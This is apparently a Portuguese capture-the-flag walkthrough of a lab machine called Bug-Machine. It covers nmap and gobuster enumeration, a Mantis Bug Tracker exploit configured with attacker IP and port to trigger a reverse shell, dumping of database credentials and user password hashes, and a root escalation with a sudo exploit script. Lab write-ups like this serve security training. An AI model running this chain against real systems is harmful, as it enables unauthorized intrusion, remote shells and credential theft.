Bug-Machine

IP: 10.0.0.24

Enumeration

# nmap -sC -sV -v -Pn 10.0.0.24                                           
............................
PORT     STATE  SERVICE        VERSION
80/tcp   open   http           Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8888/tcp closed sun-answerbook

Temos um apache na 80, vamos rodar um crowler para achar possível aplicativos hospedados:

# gobuster dir -e -u http://10.0.0.24 -w /usr/share/wordlists/dirb/big.txt
===============================================================
http://10.0.0.24/.htpasswd            (Status: 403) [Size: 274]
http://10.0.0.24/.htaccess            (Status: 403) [Size: 274]
http://10.0.0.24/admin                (Status: 301) [Size: 306] [--> http://10.0.0.24/admin/]
http://10.0.0.24/api                  (Status: 301) [Size: 304] [--> http://10.0.0.24/api/]  
http://10.0.0.24/config               (Status: 301) [Size: 307] [--> http://10.0.0.24/config/]
http://10.0.0.24/core                 (Status: 301) [Size: 305] [--> http://10.0.0.24/core/]  
http://10.0.0.24/css                  (Status: 301) [Size: 304] [--> http://10.0.0.24/css/]   
http://10.0.0.24/doc                  (Status: 301) [Size: 304] [--> http://10.0.0.24/doc/]   
http://10.0.0.24/fonts                (Status: 301) [Size: 306] [--> http://10.0.0.24/fonts/] 
http://10.0.0.24/images               (Status: 301) [Size: 307] [--> http://10.0.0.24/images/]
http://10.0.0.24/js                   (Status: 301) [Size: 303] [--> http://10.0.0.24/js/]    
http://10.0.0.24/lang                 (Status: 301) [Size: 305] [--> http://10.0.0.24/lang/]  
http://10.0.0.24/library              (Status: 301) [Size: 308] [--> http://10.0.0.24/library/]
http://10.0.0.24/plugins              (Status: 301) [Size: 308] [--> http://10.0.0.24/plugins/]
http://10.0.0.24/scripts              (Status: 301) [Size: 308] [--> http://10.0.0.24/scripts/]
http://10.0.0.24/server-status        (Status: 403) [Size: 274]                                
http://10.0.0.24/vendor               (Status: 301) [Size: 307] [--> http://10.0.0.24/vendor/]                                     
===============================================================

Encontramos uma aplicação de bugtracker no endereço http://10.0.0.24/admin

Exploração

Pesquisando um pouco, encontrei o seguinte exploit para mantis bugtracker:

Vamos baixar o arquivo e editar ele para ajustar as configurações. Basta ajustar os itens marcado em negrito para se adequarem a sua realidade:

self.RHOST = "10.0.0.24" # Victim IP self.RPORT = "80" # Victim port self.LHOST = "172.29.34.50" # Attacker IP self.LPORT = "4444" # Attacker Port self.mantisLoc = "/" # Location of mantis in URL

Agora basta deixar ouvindo a porta 4444 no nosso kali e executar o script python:

# python 48818.py  
Successfully hijacked account!
Successfully logged in!/
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up

Feito isso, receberemos uma shell reversa:

Pós Exploração

No arquivo de configuração da aplicação /var/www/html/config/config_inc.php, temos os seguintes dados:

$g_hostname = 'localhost'; $g_db_type = 'mysqli'; $g_database_name = 'mantis'; $g_db_username = 'hs'; $g_db_password = 'HackerSecurity2021!!';

Talvez seja útil no futuro.

Este server trata-se de um Ubuntu 20 com kernel 5.4 (está bem atualizado).

Vamos conseguir uma shell mais interativa para facilitar a execução de comandos mais avançados:

$ python3 -c "import pty; pty.spawn(\"/bin/sh\")"

Vamos conectar ao banco de dados do MySql usando as credenciais recém encontradas:

$ mysql -u hs -p
mysql> select * from mantis_user_table;
select * from mantis_user_table;
+----+---------------+---------------+-----------------------+------------------------------------------+---------+-----------+--------------+-------------+-----------------------------+--------------------+------------------------------------------------------------------+------------+--------------+
| id | username      | realname      | email                 | password                                 | enabled | protected | access_level | login_count | lost_password_request_count | failed_login_count | cookie_string                                                    | last_visit | date_created |
+----+---------------+---------------+-----------------------+------------------------------------------+---------+-----------+--------------+-------------+-----------------------------+--------------------+------------------------------------------------------------------+------------+--------------+
|  1 | administrator | administrator | root@localhost        | 5f4dcc3b5aa765d61d8327deb882cf99         |       1 |         0 |           90 |          50 |                           0 |                  0 | 3fk31HRTpMsoLyce0aY-kYSII0ITMNKfCVigvVEP4Pi7Vm3038DAj_DDEu2XDUjG | 1632598351 |   1600968802 |
|  2 | hackersec     | HackerSec     | contato@hackersec.com | 1385BEAE6F21020AA38D8A7609588EADCC5A3ECA |       1 |         0 |           55 |           0 |                           0 |                  0 | I8FPL4Lju6Ot4q3vrpBjYoiGqtUgo01sYGZU-2TQBZkHbMpH03mD4CxxTFtLLxZE | 1600973196 |   1600973196 |
+----+---------------+---------------+-----------------------+------------------------------------------+---------+-----------+--------------+-------------+-----------------------------+--------------------+------------------------------------------------------------------+------------+--------------+
2 rows in set (0.00 sec)

Os passos acima foram apenas coletas adicionais que poderiam agregar valor ao nosso pentest.

Mas vamos ao que interessa: Escala privilégio de root para conseguir as flasg.

Ao rodar o Linux Exploit Suggester, ele sugeriu 3 exploits possíveis:

Basta baixar o Sarom Samedit, ele explora a vulnerabilidade da versão 1.8 do sudo:

Leve todos os arquivos para a máquina alvo e rode:

$ python3 exploit_nss.py
python3 exploit_nss.py
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Somos root!!!!

Last updated